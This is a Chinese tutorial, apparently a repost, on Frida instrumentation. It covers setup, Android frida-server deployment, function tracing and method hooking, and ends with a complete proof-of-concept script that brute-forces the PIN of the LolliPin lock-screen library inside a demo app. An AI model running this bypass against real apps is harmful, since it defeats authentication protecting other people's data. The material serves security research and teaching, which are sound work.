Frida-跨平台注入工具基础篇
官方主頁
github
Inject JavaScript to explore native apps on Windows, Mac, Linux, iOS and Android.
- Hooking Functions
- Modifying Function Arguments
- Calling Functions
- Sending messages from a target process
- Handling runtime errors from JavaScript
- Receiving messages in a target process
- Blocking receives in the target process
- ....
類似工具:Substrate/Xposed/indroid/adbi.
優(yōu)勢:結(jié)合python和JavaScript開發(fā)更快捷.
0x01 Setting up your PC
python環(huán)境+setuptools
| 1 | sudo easy_install frida |
可選:源碼編譯
| 1 2 3 | $ git clone git://github.com/frida/frida.git $ cd frida $ make |
0x02 Testing your installation
創(chuàng)建一個(gè)進(jìn)程用于注入:
| 1 | $ cat |
新建注入腳本example.py:
| 1 2 3 | import frida session = frida.attach("cat") print([x.name for x in session.enumerate_modules()]) |
linux環(huán)境下需要運(yùn)行如下命令:
| 1 | $ sudo sysctl kernel.yama.ptrace_scope=0 |
用于開啟非子進(jìn)程的ptracing.
運(yùn)行frida腳本,觀察:
| 1 | $ python example.py |
輸出結(jié)果類似如下,代碼環(huán)境正常安裝成功:
[u'cat', …, u'ld-2.15.so']0x03 Setting up your Android device
首先下載android版frida-server:
| 1 2 | $ curl -O http://build.frida.re/frida/android/arm/bin/frida-server $ chmod +x frida-server |
下一步部署到android設(shè)備上:
| 1 | $ adb push frida-server /data/local/tmp/ |
0x04 Spin up Frida
設(shè)備上運(yùn)行frida-server:
| 1 2 3 4 | $ adb shell root@android:/ # chmod 700 frida-server? $ adb shell root@android:/ # /data/local/tmp/frida-server -t 0 (注意在root下運(yùn)行) |
電腦上運(yùn)行adb forward tcp轉(zhuǎn)發(fā):
| 1 2 | adb forward tcp:27042 tcp:27042 adb forward tcp:27043 tcp:27043 |
27042端口用于與frida-server通信,之后的每個(gè)端口對應(yīng)每個(gè)注入的進(jìn)程.
運(yùn)行如下命令驗(yàn)證是否成功安裝:
| 1 | $ frida-ps -R |
正常情況應(yīng)該輸出進(jìn)程列表如下:
PID NAME1590 com.facebook.katana 13194 com.facebook.katana:providers 12326 com.facebook.orca 13282 com.twitter.android …0x05 Tracing open() calls in Chrome
設(shè)備上打開chrome瀏覽器然后在pc運(yùn)行如下命令:
| 1 2 3 4 5 6 | $ frida-trace -R -i open com.android.chrome Uploading data... open: Auto-generated handler …/linker/open.js open: Auto-generated handler …/libc.so/open.js Started tracing 2 functions. Press ENTER to stop. |
開始使用chrome app然后會發(fā)現(xiàn)open()調(diào)用輸出如下:
1392 ms open() 1403 ms open() 1420 ms open()現(xiàn)在可以實(shí)時(shí)編輯的上述JS代碼來調(diào)用你的Android應(yīng)用
0x06 Building your own tools
frida提供的幾個(gè)工具frida-trace, frida-repl...絕逼非常有用,建議閱讀Functions 和 Messages章節(jié)來了解Frida APIs,
首先,使用frida的API attach上需要注入的app
| 1 | session = frida.get_remote_device().attach("com.mahh.secretsafe") |
session對象允許你獲取信息,同時(shí)也可以操作目標(biāo)進(jìn)程.比如,可以調(diào)用enumerate_modules()方法來獲取進(jìn)程中加載模塊的host信息.
| 1 2 | >>> print session.enumerate_modules() [Module(name="app_process", base_address=0x40096000, size=8192, path="/system/bin/app_process"), Module(name="linker", base_address=0x4009a000, size=61440, path="/system/bin/linker"), Module(name="libcutils.so", base_address=0x400b0000, size=36864, path="/system/lib/libcutils.so"), Module(name="liblog.so", base_address=0x400bb000, size=12288, path="/system/lib/liblog.so"), Module(name="libc.so", base_address=0x400c0000, size=53248, path="/system/lib/libc.so"), Module(name="libstdc++.so", base_address=0x4011b000, size=4096, path="/system/lib/libstdc++.so"), Module(name="libm.so", base_address=0x4011e000, size=98304, path="/system/lib/libm.so") |
然后使用Javascript API,通過session的create_script()方法放入JavaScript代碼塊.JavaScript API可以用來插樁目標(biāo)app的類.在這個(gè)API中有些針對android的例子,下面是一些簡單的案例:
取得一個(gè)類的js封裝:
| 1 2 3 | Dalvik.perform(function () { ????var MyClass = Dalvik.use("com.mdsec.MyClass"); }); |
如果類的構(gòu)造方法有一個(gè)String對象的參數(shù),應(yīng)該用如下方式創(chuàng)建類的實(shí)例:
| 1 2 | var MyClass = Dalvik.use("com.mdsec.MyClass"); var MyClassInstance = MyClass.$new(“MySecretString”); |
只需要加上對應(yīng)的參數(shù)就可以調(diào)用剛才新建實(shí)例的方法.例如,調(diào)用MyClass類的MyMethod方法:
| 1 | var result = MyClassInstance.MyMethod(); |
如果想替換MyMethod方法的實(shí)現(xiàn)來return false,使用如下代碼:
| 1 2 3 4 | MyClass.MyMethod.implementation = function() { ????????????return false; }; |
Android Context(上下文)用于獲取對應(yīng)app相關(guān)信息以及其運(yùn)行環(huán)境.所以其被廣泛用于app中,需要找一種方法來訪問他.獲取Android Context如下代碼非常有效:
| 1 2 | var currentApplication = Dalvik.use("android.app.ActivityThread").currentApplication(); var context = currentApplication.getApplicationContext(); |
接下來需要用到上文中提到的create_script()方法用于注冊這段js代碼到app session中.
| 1 | script = session.create_script(jscode) |
為了接收從Python session中JavaScript代碼返回的數(shù)據(jù),還需要注冊一個(gè)message handler.注冊一個(gè)message handler先要?jiǎng)?chuàng)建方法:
| 1 2 | def on_message(message, data): print message |
然后通過調(diào)用on()方法注冊event handler:
| 1 | script.on('message', on_message) |
可以通過JS方法send()給message handler發(fā)送消息.例如,使用如下代碼講Context對象發(fā)送給Python客戶端:
| 1 2 3 4 5 | Dalvik.perform(function () { ????var currentApplication = Dalvik.use("android.app.ActivityThread").currentApplication(); ????var context = currentApplication.getApplicationContext(); ????send(context); }); |
結(jié)果會返回app的context對象的地址:
{u'type': u'send', u'payload': {u'$handle': u'0x1d50079a', u'$classHandle': u'0x1d5007e6', u'$weakRef': 20}}現(xiàn)在已經(jīng)掌握frida的基礎(chǔ)知識,現(xiàn)在可以實(shí)戰(zhàn)演練如何破解LolliPin鎖屏庫.我們創(chuàng)建一個(gè)使用LolliPin的app截圖如下:
PIN碼生效后,可以使用插樁暴力破擊.要達(dá)到這個(gè)目的首先要了解pin碼驗(yàn)證是如何實(shí)現(xiàn)的.AppLockImpl類中驗(yàn)證方法如下:
現(xiàn)在咱們忽略LolliPin的其他漏洞,就搞PIN碼的暴露破解,這是客戶端認(rèn)證通過都會受到的分析.
可以創(chuàng)建一個(gè)AppLockImpl的實(shí)例,但是為了節(jié)約內(nèi)存我們直接調(diào)用已有的.分析發(fā)現(xiàn)AppLockImpl被調(diào)用在LockManager的getAppLock()中,這個(gè)就僅僅返回了AppLock對象.而AppLock是抽象類AppLockImpl的具現(xiàn).
LockManager有一個(gè)幫助方法用于返回自己的實(shí)例.
結(jié)合上面的分析,咱們可以通過LockManager.getInstance()得到LockManager的實(shí)例,再調(diào)用getAppLock()得到AppLock.最后就可以調(diào)用AppLock的 checkPasscode()方法了.
| 1 2 3 | var LockManager = Dalvik.use("com.github.orangegangsters.lollipin.lib.managers.LockManager"); var LockManagerInstance = LockManager.getInstance(); var AppLock = LockManagerInstance.getAppLock(); |
通過for循環(huán)調(diào)用checkPasscode()來達(dá)到暴力破解的目的:
| 1 2 3 4 5 | for(var i=1230; i<1235; i++) { ????var result = AppLock.checkPasscode(i+""); ????send(i + ": " + result); } |
此循環(huán)將嘗試1230到1235的pin碼(已知PIN為1234...),最后利用空字符串將pin碼連接起來做個(gè)強(qiáng)制轉(zhuǎn)換再打印出來.運(yùn)行腳本效果如下:
[*] Bruteforcing PIN code [*] Testing PIN 1230: false [*] Testing PIN 1231: false [*] Testing PIN 1232: false [*] Testing PIN 1233: false [*] Testing PIN 1234: true最后完整的frida代碼塊如下:
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | # LolliPin bruteforce proof of concept # Author: Dominic Chell - @domchell import frida,sys def print_result(message): ????????????print "[*] Testing PIN %s" %(message) def on_message(message, data): ????????????print_result(message['payload']) jscode = """ Dalvik.perform(function () { ????var LockManager = Dalvik.use("com.github.orangegangsters.lollipin.lib.managers.LockManager"); ????var LockManagerInstance = LockManager.getInstance(); ????var AppLock = LockManagerInstance.getAppLock(); ????for(var i=1230; i<1235; i++) ????{ ????????????var result = AppLock.checkPasscode(i+""); ????????send(i + ": " + result); ????} }); """ process = frida.get_device_manager().enumerate_devices()[-1].attach("com.mahh.secretsafe") session = process.session script = session.create_script(jscode) script.on('message', on_message) print "[*] Bruteforcing PIN code" script.load() sys.stdin.read() |
0x07 reference
http://www.frida.re/docs/installation/
http://www.frida.re/docs/android/
http://www.frida.re/docs/javascript-api/
http://www.frida.re/docs/functions/
http://www.frida.re/docs/messages/
http://blog.mdsec.co.uk/2015/04/instrumenting-android-applications-with.html
原文地址: http://drops.wooyun.org/tools/5602
總結(jié)
以上是生活随笔為你收集整理的Frida-跨平台注入工具基础篇的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Smalidea无源码调试 androi
- 下一篇: 利用cache特性检测Android模拟